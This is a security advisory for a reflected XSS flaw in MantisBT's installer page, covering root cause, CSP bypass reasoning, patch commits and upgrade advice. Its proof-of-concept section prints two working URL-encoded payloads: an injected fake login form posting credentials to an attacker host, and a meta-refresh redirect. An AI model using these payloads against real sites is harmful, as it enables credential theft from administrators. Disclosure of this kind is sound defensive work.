criticalCVE-2026-52847Jul 15, 2026

CVE-2026-52847: MantisBT Reflected XSS in admin/install.php

Shubham Kandhare
Security Engagement Manager, SecureLayer7

MantisBT's installer page echoes attacker-controlled form parameters directly into HTML without escaping, letting anyone craft a URL that injects fake login forms or silent redirects into the real adm

Packagemantisbt/mantisbt
Ecosystemcomposer
Affected<= 2.28.3
Fixed in2.28.4

The problem

In MantisBT 2.28.3 and earlier, the installer script `/admin/install.php` accepts six user-supplied GET/POST parameters and passes them through `print_test_result()` into the response HTML without any output encoding.

No authentication is required to reach this page. MantisBT's CSP (`script-src 'self'`) blocks inline `<script>` execution, but the missing `form-action` directive leaves credential-phishing via injected `<form>` elements and silent `<meta>` open redirects fully exploitable.

Proof of concept

A working proof-of-concept for CVE-2026-52847 in mantisbt/mantisbt, with the exact payload below.

http
# Credential-phishing via <form> injection (no JS needed, bypasses CSP)
# Parameter: hostname (any of the six reflected params works the same way)

GET /admin/install.php?hostname=%22%3E%3C/input%3E%3C/td%3E%3C/tr%3E%3C/table%3E%3Cform+action%3D%22https%3A//attacker.example/harvest%22+method%3D%22POST%22%3E%3Ch2%3ESession+Expired+%E2%80%94+Re-authenticate%3C/h2%3E%3Cinput+name%3D%22username%22+placeholder%3D%22Username%22%3E%3Cinput+type%3D%22password%22+name%3D%22password%22+placeholder%3D%22Password%22%3E%3Cbutton%3ELogin%3C/button%3E%3C/form%3E HTTP/1.1
Host: mantisbt.example.com

# Open-redirect variant via <meta> tag injection
GET /admin/install.php?db_username=%22%3E%3Cmeta+http-equiv%3D%22refresh%22+content%3D%220%3Burl%3Dhttps%3A//attacker.example/%22%3E HTTP/1.1
Host: mantisbt.example.com

The root cause is CWE-79: `print_test_result()` calls `echo` on raw request parameters (`$f_hostname`, `$f_db_username`, `$f_db_password`, `$f_database_name`, `$f_admin_username`, `$f_db_type`) without passing them through `string_display_line()` or any equivalent HTML-encoding function first.

The CSP's `script-src 'self'` prevents classic `<script>alert()` payloads, but because there is no `form-action` directive, an injected `<form action="https://attacker.example">` submits credentials cross-origin freely. A `<meta http-equiv="refresh">` redirect requires zero JavaScript and is equally unaffected by `script-src`.

Patch commits `0f32cea` and `f2191a0` wrap every reflected parameter in `string_display_line()` (which calls `htmlspecialchars()`) before output, and the second commit adds a `form-action 'self'` directive to the CSP header on `install.php`.

The fix

Upgrade to MantisBT 2.28.4. If an immediate upgrade is not possible, remove or restrict access to the `/admin` directory entirely, as recommended in the MantisBT Admin Guide. There is no safe way to leave a public-facing `install.php` on a production server.

Reported by McCaulay Hudson (@_McCaulay) of watchTowr.

References: [1][2][3][4][5]

Related research